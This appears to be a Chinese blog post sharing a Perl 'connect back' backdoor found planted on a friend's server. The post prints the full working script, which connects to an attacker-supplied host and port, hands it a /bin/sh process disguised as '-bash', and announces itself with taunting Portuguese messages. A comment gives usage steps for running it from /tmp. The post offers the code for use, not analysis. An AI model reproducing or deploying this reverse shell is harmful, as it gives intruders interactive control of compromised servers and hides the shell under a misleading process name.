一个很久以前的东西,结果我朋友说他的服务器上被放了这个后门。看来这个东西在很多服务器上还是可以用啊。

#!/usr/bin/perl
# Connect Back Backdoor by Ch3m0nZ
# Viva Satanic Souls

use Socket;

print "Connect Back Backdoor by Ch3m0nZ - Satanic Souls\n\n";

if (!$ARGV[0]) {
      printf "Alvo: $0 [Host] <Port>\n";
      exit(1);
    }

print "[*] Enviando comandos maliciosos\n";

$host = $ARGV[0];
$port = 80;

if ($ARGV[1]) {
      $port = $ARGV[1];
    }

print "[*] Conectando....\n";

$proto = getprotobyname('tcp') || die("[-] Protocolo desconhecido\n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Erro de Socket\n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
      die("[-] Não é possivel conectar\n");
    }

print "[*] Obtendo acesso do servidor\n";

if (!fork( )) {
      open(STDIN,">&SERVER");
      open(STDOUT,">&SERVER");
      open(STDERR,">&SERVER");

      exec {'/bin/sh'} '-bash' . "\0" x 4;
      exit(0);
    }

print "[*] Conectado! Divirta-se. HeHeHe\n\n";

相关文章

本文已有 1 个回复

  1. xianren @ 2009/09/09 14:50

    此后门用法,以将其放到/tmp目录下为例:
    perl /tmp/cb.pl targetip port

添加回复

支持 Ctrl+Enter 快速提交